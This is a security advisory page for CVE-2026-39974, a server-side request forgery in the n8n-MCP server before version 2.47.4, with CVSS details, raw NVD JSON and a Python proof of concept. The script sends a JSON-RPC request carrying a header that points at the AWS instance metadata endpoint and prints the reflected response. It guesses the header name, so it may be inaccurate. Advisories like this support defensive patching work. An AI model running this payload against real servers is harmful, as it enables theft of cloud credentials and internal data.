Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-39974 CVSS 8.5 HIGH

CVE-2026-39974

Published: 2026-04-09 17:16:31
Last Modified: 2026-04-20 18:32:38

Description

n8n-MCP is a Model Context Protocol (MCP) server that provides AI assistants with comprehensive access to n8n node documentation, properties, and operations. Prior to 2.47.4, an authenticated Server-Side Request Forgery in n8n-mcp allows a caller holding a valid AUTH_TOKEN to cause the server to issue HTTP requests to arbitrary URLs supplied through multi-tenant HTTP headers. Response bodies are reflected back through JSON-RPC, so an attacker can read the contents of any URL the server can reach β€” including cloud instance metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), internal network services, and any other host the server process has network access to. The primary at-risk deployments are multi-tenant HTTP installations where more than one operator can present a valid AUTH_TOKEN, or where a token is shared with less-trusted clients. Single-tenant stdio deployments and HTTP deployments without multi-tenant headers are not affected. This vulnerability is fixed in 2.47.4.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n-mcp:n8n-mcp:*:*:*:*:*:*:*:* - VULNERABLE
n8n-mcp < 2.47.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Configuration target_host = "http://vulnerable-n8n-mcp-instance:port" auth_token = "VALID_AUTH_TOKEN_HERE" # Internal target to fetch (e.g., AWS IMDSv2 Token) ssrf_target = "http://169.254.169.254/latest/api/token" # Headers simulating the multi-tenant HTTP request headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", # The specific header name depends on implementation, assuming 'X-Multi-Tenant-Url' "X-Multi-Tenant-Url": ssrf_target } # JSON-RPC Payload structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "read_documentation" }, "id": 1 } try: print(f"[*] Sending SSRF request to {target_host}...") response = requests.post(target_host, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Request successful!") print("[+] Response Body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39974", "sourceIdentifier": "[email protected]", "published": "2026-04-09T17:16:30.933", "lastModified": "2026-04-20T18:32:37.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n-MCP is a Model Context Protocol (MCP) server that provides AI assistants with comprehensive access to n8n node documentation, properties, and operations. Prior to 2.47.4, an authenticated Server-Side Request Forgery in n8n-mcp allows a caller holding a valid AUTH_TOKEN to cause the server to issue HTTP requests to arbitrary URLs supplied through multi-tenant HTTP headers. Response bodies are reflected back through JSON-RPC, so an attacker can read the contents of any URL the server can reach β€” including cloud instance metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), internal network services, and any other host the server process has network access to. The primary at-risk deployments are multi-tenant HTTP installations where more than one operator can present a valid AUTH_TOKEN, or where a token is shared with less-trusted clients. Single-tenant stdio deployments and HTTP deployments without multi-tenant headers are not affected. This vulnerability is fixed in 2.47.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n-mcp:n8n-mcp:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.47.4", "matchCriteriaId": "7CAAB9F8-4304-40CE-8A09-81BCE0D42741"}]}]}], "references": [{"url": "https://github.com/czlonkowski/n8n-mcp/commit/d9d847f230923d96e0857ccecf3a4dedcc9b0096", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.47.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-4ggg-h7ph-26qr", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}